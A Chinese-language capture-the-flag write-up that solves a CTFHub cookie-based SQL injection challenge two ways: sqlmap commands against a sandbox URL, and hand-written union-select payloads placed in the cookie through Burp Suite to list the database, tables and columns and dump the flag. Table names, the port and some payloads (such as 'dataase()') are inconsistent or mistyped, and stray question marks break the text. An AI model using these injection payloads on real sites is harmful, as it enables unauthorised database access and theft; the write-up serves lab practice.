?
我们将使用两种解法——sqlmap自动注入以及利用burpsuite工具手工注入
一：sqlmap自动注入
首先在命令行换到sqlmap目录下，然后开始解题
先爆当前数据库信息
python sqlmap.py -u "http://challenge-6b420c7b04e13f9f.sandbox.ctfhub.com:10800/" --cookie "id=1" --dbs --level 2
爆出库名为'sqli'?
接下来查选表名?，得到表名为'hzyddqchqe'
?
python sqlmap.py -u "http://challenge-6b420c7b04e13f9f.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2
?
然后查选列名及内容
python sqlmap.py -u "http://challenge-6b420c7b04e13f9f.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2就得到flag了
二：利用burpsuite工具手动注入
使用burpsuite工具抓包，在cookie值处输入语句进行注入
先输入以下语句，查看页面回显位
Cookie:id=-1 union select1,2;结果显示
然后求数据库名
id=-1 union select 1,dataase()?得到数据库名为'sqli'
?接着求表名，结果为'xujnpmahoo'
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
?继续求列名,结果为'ygngmcsynj'
?
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xujnpmahoo'
?最后求字段值，即可得到flag
?
id=-1 union select 1,group_concat(ygngmcsynj) from sqli.xujnpmahoo
?
?